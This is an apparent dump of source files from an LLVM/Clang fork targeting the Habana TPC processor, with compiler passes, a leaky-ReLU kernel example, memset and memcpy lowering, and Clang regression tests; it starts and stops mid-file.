Zuckerman\n// [email protected]\n//===----------------------------------------------------------------------===//\n// This pass create a work around for hardware issue.\n// In this pass you can find the following transformations:\n// A) CALC_FP_SPECIAL.FP16 DEST, SRC1,SRC2, functionid, val\n// For functionid == {POW|DIV}:\n// 1) CONVERT.BF16 TO_FP16 DEST1, PRED = SP0, 0\n// 2) SEL DEST2,DEST,DEST,DEST1 PRED=SP0,0\n// else:\n// 1) CMP.FP16 MASK_ZERO VPRF1, SRC1, 0xbd\n// 2) CONVERT.BF16 TO_FP16 DEST, PRED = VPRF1,-1\n// B) If kernel doesn't include a lookup instruction the compiler most adds a\n// CHACH_INVALIDATED\n//===----------------------------------------------------------------------===//\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"TPCTargetMachine.h\"\n#include \"llvm/ADT/SmallSet.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n\n#define DEBUG_TYPE \"hwwaGeneral\"\n\nusing namespace llvm;\n\nnamespace llvm {\nFunctionPass *createTPCHWWAGeneral();\nvoid initializeTPCHWWAGeneralPass(PassRegistry &);\n} // namespace llvm\n\n//\n// Option to enable/disable ASH restriction.\n//\nstatic cl::opt<bool> EnableHwwaAshZeroScale(\"tpc-hwwa-ash-zero-scale\", cl::ZeroOrMore, cl::init(false));\nstatic cl::opt<bool> EnableHwwaAshAndScale(\"tpc-hwwa-ash-and-scale\", cl::ZeroOrMore, cl::init(true));\n\nstatic const char PassDescription[] =\n \"TPC Hardware Workarounds pass (general pass)\";\nstatic const char PassName[] = \"tpc-hwwa-general-workaround\";\n\nnamespace {\nclass TPCHWWAGeneral : public MachineFunctionPass {\nprivate:\n unsigned NumReplaced = 0;\n MachineInstr *produceCONVERTVVm(MachineFunction &Func, unsigned convertReg,\n MachineInstr *MI,\n unsigned reg_a,int polarity);\n MachineInstr *produceSEL_EQ(MachineFunction &Func, MachineInstr *MI,\n unsigned SRC_A, unsigned SRC_B,\n unsigned SRC_C, unsigned SRC_D, unsigned income);\n MachineInstr *produceCMP_EQvip(MachineFunction &Func, MachineInstr *MI,\n unsigned reg_a, int imm,\n int maskZero);\n\n void updateRegister(MachineInstr *OldMI, MachineInstr *MI);\n\n bool lookupWorkAround(MachineFunction &Func);\n\npublic:\n static char ID;\n\n StringRef getPassName() const override { return PassDescription; }\n\n TPCHWWAGeneral() : MachineFunctionPass(ID) {\n initializeTPCHWWAGeneralPass(*PassRegistry::getPassRegistry());\n }\n\n bool runOnMachineFunction(MachineFunction &MF) override;\n};\n} // namespace\n\nchar TPCHWWAGeneral::ID = 0;\n\nINITIALIZE_PASS(TPCHWWAGeneral, PassName, PassDescription, false, false)\n\nFunctionPass *llvm::createTPCHWWAGeneral() { return new TPCHWWAGeneral(); }\n\nvoid TPCHWWAGeneral::updateRegister(MachineInstr *OldMI, MachineInstr *MI) {\n for (MachineBasicBlock::iterator miFrom = MI->getNextNode();\n miFrom != MI->getParent()->end(); miFrom++) {\n for (MachineOperand &MO : miFrom->uses()) {\n if (MO.isReg()) {\n if (MO.getReg() == OldMI->getOperand(0).getReg()) {\n MO.setReg(MI->getOperand(0).getReg());\n }\n }\n }\n }\n}\n/*!\n *\n * @param Func machine function\n * @param MI Current machineInstr\n * @param reg_a register to compare\n * @param imm immediate to compare\n * @param maskZero maskZero switch\n * @return New MachineInstr after MI\n */\nMachineInstr *TPCHWWAGeneral::produceCMP_EQvip(MachineFunction &Func, \n MachineInstr *MI, unsigned reg_a,\n int imm, int maskZero = 0) {\n MachineFunction *MF = &Func;\n MachineRegisterInfo *MRI = &MF->getRegInfo();\n const TargetInstrInfo *TII = MF->getSubtarget().getInstrInfo();\n\n unsigned v_reg1 = MRI->createVirtualRegister(&TPC::VPRFRegClass);\n unsigned v_reg2 = MRI->createVirtualRegister(&TPC::VRFRegClass);\n MachineBasicBlock *MBB = MI->getParent();\n MachineInstr *CMP_EQvip =\n MF->CreateMachineInstr(TII->get(TPC::CMP_EQvip), MI->getDebugLoc(), true);\n BuildMI(*MBB, MI, MI->getDebugLoc(), TII->get(TargetOpcode::IMPLICIT_DEF),\n v_reg2);\n CMP_EQvip->addOperand(*MF, MachineOperand::CreateReg(v_reg1, true)); // dest\n CMP_EQvip->addOperand(*MF,\n MachineOperand::CreateReg(reg_a, false)); // source1\n CMP_EQvip->addOperand(*MF,\n MachineOperand::CreateImm(imm)); // source2 hard compare\n CMP_EQvip->addOperand(\n *MF, MachineOperand::CreateImm(TPCII::OpType::FP16)); // CompareType\n CMP_EQvip->addOperand(*MF, MachineOperand::CreateImm(maskZero)); // switch\n CMP_EQvip->addOperand(*MF,\n MachineOperand::CreateReg(v_reg2, false)); // income\n CMP_EQvip->addOperand(\n *MF, MachineOperand::CreateReg(TPC::SP0, false)); // predicate\n CMP_EQvip->addOperand(*MF, MachineOperand::CreateImm(0));\n MBB->insertAfter(MI, CMP_EQvip);\n return CMP_EQvip;\n}\n\n/*!\n *\n * @param Func machine function\n * @param convertReg source1\n * @param MI Current machineInstr\n * @param predicate predicate register\n * @return New MachineInstr after MI\n */\nMachineInstr * TPCHWWAGeneral::produceCONVERTVVm(MachineFunction &Func,\n unsigned convertReg,\n MachineInstr *MI,\n unsigned predicate,int polarity) {\n MachineFunction *MF = &Func;\n MachineRegisterInfo *MRI = &MF->getRegInfo();\n const TargetInstrInfo *TII = MF->getSubtarget().getInstrInfo();\n\n unsigned v_reg1 = MRI->createVirtualRegister(&TPC::VRFRegClass);\n MachineBasicBlock *MBB = MI->getParent();\n const MCInstrDesc &MID = predicate == TPC::SP0 ? TII->get(TPC::CONVERTvvp)\n : TII->get(TPC::CONVERTvvm);\n MachineInstr *CONVERTvvp =\n MF->CreateMachineInstr(MID, MI->getDebugLoc(), true);\n CONVERTvvp->addOperand(*MF, MachineOperand::CreateReg(v_reg1, true)); // dest\n CONVERTvvp->addOperand(\n *MF, MachineOperand::CreateReg(convertReg, false)); // source\n CONVERTvvp->addOperand(\n *MF, MachineOperand::CreateImm(TPCII::OpType::BF16)); // From_type\n CONVERTvvp->addOperand(\n *MF,\n MachineOperand::CreateImm(TPCII::SW_TO_FP16 | TPCII::SW_LANE_0 | TPCII::SW_SINGLE_LANE_SRCB)); // switch\n CONVERTvvp->addOperand(\n *MF, MachineOperand::CreateReg(convertReg, false)); // income\n CONVERTvvp->addOperand(\n *MF, MachineOperand::CreateReg(predicate, false)); // Predicate\n CONVERTvvp->addOperand(*MF, MachineOperand::CreateImm(polarity));\n MBB->insertAfter(MI, CONVERTvvp);\n return CONVERTvvp;\n}\n\n/*!\n * \\param Func machine function\n * \\param MI Current machineInstr \n * \\param SRC_A\n * \\param SRC_B\n * \\param SRC_C\n * \\param SRC_D\n * \\param income \n * \\return new SEL_EQvvvp instruction \n */\nMachineInstr *TPCHWWAGeneral::produceSEL_EQ(MachineFunction &Func,\n MachineInstr *MI, unsigned SRC_A,\n unsigned SRC_B, unsigned SRC_C,\n unsigned SRC_D, unsigned income) {\n MachineFunction *MF = &Func;\n MachineRegisterInfo *MRI = &MF->getRegInfo();\n const TargetInstrInfo *TII = MF->getSubtarget().getInstrInfo();\n \n unsigned v_reg1 = MRI->createVirtualRegister(&TPC::VRFRegClass);\n MachineBasicBlock *MBB = MI->getParent();\n MachineInstr *SEL_EQ = MF->CreateMachineInstr(TII->get(TPC::SEL_EQvvvvp),\n MI->getDebugLoc(), true);\n SEL_EQ->addOperand(*MF, MachineOperand::CreateReg(v_reg1, true)); // Result\n SEL_EQ->addOperand(*MF, MachineOperand::CreateReg(SRC_A, false)); // SRC_A\n SEL_EQ->addOperand(*MF, MachineOperand::CreateReg(SRC_B, false)); // SRC_B\n SEL_EQ->addOperand(*MF, MachineOperand::CreateReg(SRC_C, false)); // SRC_C\n SEL_EQ->addOperand(*MF, MachineOperand::CreateReg(SRC_D, false)); // SRC_D\n SEL_EQ->addOperand(*MF, MachineOperand::CreateImm(TPCII::OpType::FP16)); //data type\n SEL_EQ->addOperand(*MF, MachineOperand::CreateImm(0));\n SEL_EQ->addOperand(*MF, MachineOperand::CreateReg(income, false)); // Income\n SEL_EQ->addOperand(*MF, MachineOperand::CreateReg(TPC::SP0, false)); // predicate \n SEL_EQ->addOperand(*MF, MachineOperand::CreateImm(0)); // polarity \n MBB->insertAfter(MI, SEL_EQ);\n return SEL_EQ;\n}\n/*!\n * In case lookup is not part of the kernel add CACHE_INVALIDATE instruction\n * before the halt instruction. In case there is a change return true.\n */\nbool TPCHWWAGeneral::lookupWorkAround(MachineFunction &Func) {\n MachineFunction *MF = &Func;\n const TargetInstrInfo *TII = MF->getSubtarget().getInstrInfo();\n bool LookupPresent = false;\n for (MachineBasicBlock &MBB : *MF) {\n for (MachineBasicBlock::iterator mi = MBB.begin(), me = MBB.end(); mi != me; mi++) {\n LookupPresent |= (TPCII::isLookup((*mi).getDesc()) || TPCII::isLookupC((*mi).getDesc()));\n }\n }\n\n if (!LookupPresent) {\n auto firstInst = MF->getBlockNumbered(0)->instr_begin();\n MachineInstr *cacheIns = MF->CreateMachineInstr(TII->get(TPC::CACHE_INVALIDATE), firstInst->getDebugLoc(), true);\n cacheIns->addOperand(*MF, MachineOperand::CreateImm(0));\n cacheIns->addOperand(*MF, MachineOperand::CreateReg(TPC::SP0, false));\n cacheIns->addOperand(*MF, MachineOperand::CreateImm(0));\n MachineBasicBlock *MBB = firstInst->getParent();\n MBB->insert(firstInst, cacheIns);\n return true;\n }\n return false;\n}\n\n/*!\n\n * This is the main function to run over the MachineFucntion. In this function\n * we iterate over all blocks and instructions inside a machine function.\n * The function finds the desirable instruction to replace with a new sequence.\n * @param Func\n * @return return boolean indicate of replacement\n */\nbool TPCHWWAGeneral::runOnMachineFunction(MachineFunction &Func) {\n bool Status = lookupWorkAround(Func);\n return Status;\n}\n" }, { "alpha_fraction": 0.6427224278450012, "alphanum_fraction": 0.6501100063323975, "avg_line_length": 36.20467758178711, "blob_id": "6fe72b6636f568c4caf2b114de8bab74e32453db", "content_id": "e8d0a1ab403f34859de129cfdcab7ad144ccc4f6", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6362, "license_type": "permissive", "max_line_length": 97, "num_lines": 171, "path": "/llvm/lib/Target/TPC/TPCRegisterBalancer.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCRegisterBalancer.cpp --- Optimizes predicates ----------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This pass:\n// - Rebalance register pressure reducing that on VRF at the expenses of SRF.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"llvm/ADT/SmallSet.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\nusing namespace llvm;\n\nnamespace llvm {\nFunctionPass *createTPCRegisterBalancer();\nvoid initializeTPCRegisterBalancerPass(PassRegistry&);\n}\n\nstatic const char PassDescription[] = \"TPC register balancer\";\nstatic const char PassName[] = \"tpc-rbalance\";\n\n// Flag to disable register balancing.\nstatic cl::opt<bool>\nEnableRegisterBalancer(\"reg-balancer\",\n cl::desc(\"Move register pressure from VRF to SRF (default=true)\"),\n cl::init(true), cl::Hidden);\n\nnamespace {\nclass TPCRegisterBalancer : public MachineFunctionPass {\n MachineFunction *MF = nullptr;\n MachineRegisterInfo *MRI = nullptr;\n const TargetInstrInfo *TII = nullptr;\n unsigned NumReplaced = 0;\n\npublic:\n static char ID;\n\n StringRef getPassName() const override { return PassDescription; }\n\n TPCRegisterBalancer() : MachineFunctionPass(ID) {\n initializeTPCRegisterBalancerPass(*PassRegistry::getPassRegistry());\n }\n\n bool runOnMachineFunction(MachineFunction &MF) override;\n};\n}\n\nchar TPCRegisterBalancer::ID = 0;\n\nINITIALIZE_PASS(TPCRegisterBalancer, PassName, PassDescription, false, false)\n\nFunctionPass *llvm::createTPCRegisterBalancer() {\n return new TPCRegisterBalancer();\n}\n\nstatic bool isScalarSplat(const MachineInstr &MI) {\n if (MI.getOpcode() == TPC::MOVvsp) {\n const MCInstrDesc &Desc = MI.getDesc();\n return MI.getOperand(Desc.getNumOperands() - 1).getImm() == 0 &&\n MI.getOperand(Desc.getNumOperands() - 2).getReg() == TPC::SP0;\n }\n return false;\n}\n\nstatic bool isImmSplat(const MachineInstr &MI) {\n if (MI.getOpcode() == TPC::MOVvip) {\n const MCInstrDesc &Desc = MI.getDesc();\n return MI.getOperand(Desc.getNumOperands() - 1).getImm() == 0 &&\n MI.getOperand(Desc.getNumOperands() - 2).getReg() == TPC::SP0;\n }\n return false;\n}\n\nstatic bool hasSplatVariant(const MachineInstr &MI, unsigned &RegVariant, unsigned &ImmVariant) {\n switch (MI.getOpcode()) {\n case TPC::ADDvvp: RegVariant = TPC::ADDvsp; ImmVariant = TPC::ADDvip; return true;\n case TPC::SUBvvp: RegVariant = TPC::SUBvsp; ImmVariant = TPC::SUBvip; return true;\n case TPC::ASHvvp: RegVariant = TPC::ASHvsp; ImmVariant = TPC::ASHvip; return true;\n case TPC::ANDvvp: RegVariant = TPC::ANDvsp; ImmVariant = TPC::ANDvip; return true;\n case TPC::ORvvp: RegVariant = TPC::ORvsp; ImmVariant = TPC::ORvip; return true;\n case TPC::XORvvp: RegVariant = TPC::XORvsp; ImmVariant = TPC::XORvip; return true;\n case TPC::SHRvvp: RegVariant = TPC::SHRvsp; ImmVariant = TPC::SHRvip; return true;\n case TPC::SHLvvp: RegVariant = TPC::SHLvsp; ImmVariant = TPC::SHLvip; return true;\n default:\n return 0;\n }\n}\n\n\n// Number of the first operation argument.\nconst unsigned OpArg1No = 1;\n// Number of the argument that may be vector/scalar/immediate.\nconst unsigned OpArg2No = 2;\n// Number of the source of MOV operation.\nconst unsigned MovSrcNo = 1;\n\nbool TPCRegisterBalancer::runOnMachineFunction(MachineFunction &Func) {\n if (skipFunction(Func.getFunction()))\n return false;\n\n if (!EnableRegisterBalancer)\n return false;\n\n MF = &Func;\n MRI = &MF->getRegInfo();\n TII = MF->getSubtarget().getInstrInfo();\n NumReplaced = 0;\n for (auto &BB : Func) {\n for (auto IPtr = BB.begin(), EPtr = BB.end(); IPtr != EPtr;) {\n MachineInstr &I = *IPtr++;\n unsigned RegVariant, ImmVariant;\n if (hasSplatVariant(I, RegVariant, ImmVariant)) {\n unsigned ElementRegNo = I.getOperand(OpArg2No).getReg();\n assert(MRI->hasOneDef(ElementRegNo));\n MachineInstr *ElementDef = MRI->getVRegDef(ElementRegNo);\n assert(ElementDef);\n MachineInstr *NewOp = nullptr;\n MachineInstrBuilder MIB;\n unsigned NewValueReg = 0;\n if (isImmSplat(*ElementDef)) {\n assert(ElementDef->getOperand(MovSrcNo).isImm());\n // Create OPvip instread of OPvvv.\n NewValueReg = MRI->createVirtualRegister(&TPC::VRFRegClass);\n MIB = BuildMI(BB, I, I.getDebugLoc(), TII->get(ImmVariant), NewValueReg)\n .addReg(I.getOperand(OpArg1No).getReg(), getRegState(I.getOperand(OpArg1No)))\n .addImm(ElementDef->getOperand(MovSrcNo).getImm());\n NewOp = MIB;\n } else if (isScalarSplat(*ElementDef)) {\n assert(ElementDef->getOperand(MovSrcNo).isReg());\n // Create OPvsp instread of OPvvp.\n NewValueReg = MRI->createVirtualRegister(&TPC::VRFRegClass);\n MIB = BuildMI(BB, I, I.getDebugLoc(), TII->get(RegVariant), NewValueReg)\n .addReg(I.getOperand(OpArg1No).getReg(), getRegState(I.getOperand(OpArg1No)))\n .addReg(ElementDef->getOperand(MovSrcNo).getReg());\n NewOp = MIB;\n }\n if (NewValueReg) {\n // Assume that all supported operations have the same format? like:\n // ADDvsp $op1, $op2, OpType.INT32, (i8 sw), (IMPLICIT_DEF), SP0, (i1 0)\n assert(I.getOperand(3).isImm()); // OpType\n assert(I.getOperand(4).isImm()); // Switches\n assert(I.getOperand(5).isReg()); // Income\n assert(I.getOperand(6).isReg()); // Predicate\n assert(I.getOperand(7).isImm()); // Polarity\n\n MIB.addImm(I.getOperand(3).getImm());\n MIB.addImm(I.getOperand(4).getImm());\n MIB.addReg(I.getOperand(5).getReg());\n MIB.addReg(I.getOperand(6).getReg());\n MIB.addImm(I.getOperand(7).getImm());\n\n MRI->replaceRegWith(I.getOperand(0).getReg(), NewValueReg);\n I.eraseFromParent();\n ++NumReplaced;\n }\n }\n }\n }\n\n\n return NumReplaced > 0;\n}\n" }, { "alpha_fraction": 0.5989599227905273, "alphanum_fraction": 0.6151728630065918, "avg_line_length": 42.01315689086914, "blob_id": "e45e544857f3389babca66771fdfc011afc7f7dd", "content_id": "43936934a1cb462c19311eb9ed62010286cda0c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3269, "license_type": "no_license", "max_line_length": 158, "num_lines": 76, "path": "/codeExample/leakyrelu_f32.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "/**********************************************************************\nCopyright (c) 2021 Habana Labs.\n\nRedistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or\nother materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY\nDIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\nOF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\nNEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n********************************************************************/\n\n\nvoid main(tensor input, tensor output, float alpha)\n{\n const int depth = 0;\n const int width = 1;\n const int height = 2;\n const int batch = 3;\n\n const int5 index_space_start = get_index_space_offset();\n const int5 index_space_end = get_index_space_size() + index_space_start;\n\n int5 coords = { 0, 0, 0, 0, 0 };\n\n // DEPTH\n const int depthStep = 64;\n const int depthStart = index_space_start[depth] * depthStep;\n const int depthEnd = index_space_end[depth] * depthStep;\n\n // WIDTH\n const int widthStep = 4;\n const int widthStart = index_space_start[width] * widthStep;\n const int widthEnd = index_space_end[width] * widthStep;\n\n // HEIGHT\n const int heightStep = 1;\n const int heightStart = index_space_start[height];\n const int heightEnd = index_space_end[height];\n\n // BATCH\n const int batchStep = 1;\n const int batchStart = index_space_start[batch];\n const int batchtEnd = index_space_end[batch];\n\n for (int b = batchStart; b < batchtEnd; b += batchStep)\n {\n coords[batch] = b;\n\n for (int h = heightStart; h < heightEnd; h += heightStep)\n {\n coords[height] = h;\n for (int d = depthStart; d < depthEnd; d += depthStep)\n {\n coords[depth] = d;\n #pragma loop_unroll(4)\n for (int w = widthStart; w < widthEnd; w += 1)\n {\n coords[width] = w;\n\n float64 x = v_f32_ld_tnsr_b(coords, input);\n\n bool256 cond = from_bool64(v_f32_cmp_grt_b(x, 0.0, 0, to_bool64((bool256){0})));\n\n float64 y = v_f32_mul_vb(x, alpha, 0, x, to_bool64(cond), 1);\n\n v_f32_st_tnsr(coords, output, y);\n }\n }\n }\n }\n}\n" }, { "alpha_fraction": 0.6261031031608582, "alphanum_fraction": 0.6384115219116211, "avg_line_length": 43.391754150390625, "blob_id": "cc6b33b71b30da81f50e83f561cd759870eca8f1", "content_id": "3b33ddaaae3602012dd2050969446393257c10cc", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4306, "license_type": "permissive", "max_line_length": 82, "num_lines": 97, "path": "/llvm/lib/Target/TPC/TPCSelectionDAGInfo.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCSelectionDAGInfo.cpp ---- TPC SelectionDAG Info ----------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This file implements the TPCSelectionDAGInfo class.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCTargetMachine.h\"\n#include \"llvm/CodeGen/MachineFunction.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/SelectionDAG.h\"\nusing namespace llvm;\n\n#define DEBUG_TYPE \"tpc-selectiondag-info\"\n\nSDValue TPCSelectionDAGInfo::EmitTargetCodeForMemset(\n SelectionDAG &DAG, const SDLoc &dl, SDValue Chain, SDValue Dst, SDValue Src,\n SDValue Size, unsigned Align, bool isVolatile,\n MachinePointerInfo DstPtrInfo) const {\n ConstantSDNode *V = dyn_cast<ConstantSDNode>(Src);\n assert(V && \"Fill value of memset must be a compile time constant\");\n ConstantSDNode *SizeValue = dyn_cast<ConstantSDNode>(Size);\n assert(SizeValue && \"Size in memset call must be a compile time constant\");\n int AS = DstPtrInfo.getAddrSpace();\n assert((AS == 1 || AS == 2) && \"memset may be called only for local memory\");\n unsigned Sz = SizeValue->getZExtValue();\n unsigned UnitSz = (AS == 1) ? 4 : 256;\n assert((Sz % UnitSz == 0) && \"Size in memset must be a multiple of space unit\");\n MVT VT = (AS == 1) ? MVT::i32 : MVT::v64i32;\n\n const TPCSubtarget &STI = DAG.getMachineFunction().getSubtarget<TPCSubtarget>();\n const TPCTargetLowering &TLI = *STI.getTargetLowering();\n const TargetRegisterClass *RC = TLI.getRegClassFor(VT);\n MachineFunction &MF = DAG.getMachineFunction();\n\n // Build i32 value of four i8 values\n uint64_t Val = V->getZExtValue() & 255;\n assert(V->getZExtValue() == Val && \"Non-char value in memset?\");\n Val = (Val << 8) | Val;\n Val = (Val << 16) | Val;\n\n unsigned ValueReg = MF.getRegInfo().createVirtualRegister(RC);\n Chain = DAG.getCopyToReg(Chain, dl, ValueReg, DAG.getConstant(Val, dl, VT));\n SDValue ZeroV = DAG.getCopyFromReg(Chain, dl, ValueReg, VT);\n Chain = ZeroV.getValue(1);\n unsigned DstOffs = 0;\n\n SmallVector<SDValue, 8> Chains;\n for (unsigned I = 0, SZ = Sz / UnitSz; I != SZ; ++I) {\n SDValue NewChain = DAG.getStore(Chain, dl, ZeroV,\n DAG.getMemBasePlusOffset(Dst, DstOffs, dl),\n DstPtrInfo.getWithOffset(DstOffs), Align);\n Chains.push_back(NewChain);\n DstOffs += UnitSz;\n }\n\n return DAG.getNode(ISD::TokenFactor, dl, MVT::Other, Chains);\n}\n\nSDValue TPCSelectionDAGInfo::EmitTargetCodeForMemcpy(\n SelectionDAG &DAG, const SDLoc &dl, SDValue Chain,\n SDValue Dst, SDValue Src, SDValue Size,\n unsigned Align, bool isVolatile, bool AlwaysInline,\n MachinePointerInfo DstPtrInfo, MachinePointerInfo SrcPtrInfo) const {\n // Prepare arguments making sanity checks.\n ConstantSDNode *SizeValue = dyn_cast<ConstantSDNode>(Size);\n assert(SizeValue && \"Size in memset call must be a compile time constant\");\n assert(SrcPtrInfo.getAddrSpace() == DstPtrInfo.getAddrSpace() &&\n \"Cannot memcpy between different address spaces\");\n int AS = DstPtrInfo.getAddrSpace();\n assert((AS == 1 || AS == 2) && \"memcpy may be called only for local memory\");\n unsigned Sz = SizeValue->getZExtValue();\n unsigned UnitSz = (AS == 1) ? 4 : 256;\n assert((Sz % UnitSz == 0) && \"Size in memcpy must be a multiple of space unit\");\n\n // Prepare working variables.\n MVT VT = (AS == 1) ? MVT::i32 : MVT::v64i32;\n\n // Move data in a loop.\n SmallVector<SDValue, 8> Chains;\n for (unsigned I = 0, SZ = Sz / UnitSz, Offs = 0; I != SZ; ++I, Offs += UnitSz) {\n SDValue Value = DAG.getLoad(VT, dl, Chain,\n DAG.getMemBasePlusOffset(Src, Offs, dl),\n SrcPtrInfo, Align);\n SDValue NewChain = DAG.getStore(Value.getValue(1), dl, Value,\n DAG.getMemBasePlusOffset(Dst, Offs, dl),\n DstPtrInfo.getWithOffset(Offs), Align);\n Chains.push_back(NewChain);\n }\n\n return DAG.getNode(ISD::TokenFactor, dl, MVT::Other, Chains);\n}\n" }, { "alpha_fraction": 0.5277311205863953, "alphanum_fraction": 0.653781533241272, "avg_line_length": 48.58333206176758, "blob_id": "faf766f9f0c60a1d34ab07a8300d2f023dc0c402", "content_id": "e6e28759558ca95b3bdd7333e78c5cfa75768015", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 595, "license_type": "permissive", "max_line_length": 146, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_bfloat128_to_short128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n bfloat128 *sptr = (bfloat128 *)src;\n short128 *dptr = (short128 *)dest;\n bfloat128 src_val = *sptr;\n *dptr++ = convert_bfloat128_to_short128(src_val, SW_RZ);\n *dptr = convert_bfloat128_to_short128(src_val, SW_RD);\n}\n\n// CHECK-IR: fptosi <128 x bfloat> {{.*}} to <128 x i16>\n// CHECK-IR: call <128 x i16> @llvm.tpc.convert.v128i16.v128bf16.i1(<128 x bfloat> {{.*}}, i8 1, i32 198400, <128 x i16> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.5814696550369263, "alphanum_fraction": 0.6006389856338501, "avg_line_length": 25.08333396911621, "blob_id": "4cd7e07dc4ff06a823233358ae57020d6266378f", "content_id": "9e36d0cccd8c608dc130533270dc8c93f27d1576", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 313, "license_type": "permissive", "max_line_length": 82, "num_lines": 12, "path": "/clang/test/RC99/cxx/exception-01.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc++ -triple tpc-none-none -verify %s\n\nvoid func_01(int *x) {\n try { // expected-error{{cannot use 'try' with exceptions disabled}}\n if (x == 0)\n throw(12); // expected-error{{cannot use 'throw' with exceptions disabled}}\n } catch (...) {\n }\n}\n\nvoid main() {\n}\n" }, { "alpha_fraction": 0.6593572497367859, "alphanum_fraction": 0.6682419776916504, "avg_line_length": 38.185184478759766, "blob_id": "4bd4caa442b944604ca7ebda693de01035da8709", "content_id": "fb1d5ee8b6f5b3adf2edc4c91809365b01468ebb", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5290, "license_type": "permissive", "max_line_length": 144, "num_lines": 135, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCAsmBackend.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCAsmBackend.cpp - TPC Assembler Backend -------------------------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCAsmBackend.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"llvm/ADT/StringSwitch.h\"\n#include \"llvm/ADT/APInt.h\"\n#include \"llvm/BinaryFormat/ELF.h\"\n#include \"llvm/MC/MCAsmBackend.h\"\n#include \"llvm/MC/MCAssembler.h\"\n#include \"llvm/MC/MCContext.h\"\n#include \"llvm/MC/MCDirectives.h\"\n#include \"llvm/MC/MCExpr.h\"\n#include \"llvm/MC/MCFixupKindInfo.h\"\n#include \"llvm/MC/MCMachObjectWriter.h\"\n#include \"llvm/MC/MCELFObjectWriter.h\"\n#include \"llvm/MC/MCObjectWriter.h\"\n#include \"llvm/MC/MCRegisterInfo.h\"\n#include \"llvm/MC/MCSectionELF.h\"\n#include \"llvm/MC/MCSectionMachO.h\"\n#include \"llvm/MC/MCSubtargetInfo.h\"\n#include \"llvm/MC/MCValue.h\"\n#include \"llvm/Support/Debug.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n#include \"llvm/Support/Format.h\"\n#include \"llvm/Support/TargetParser.h\"\n#include 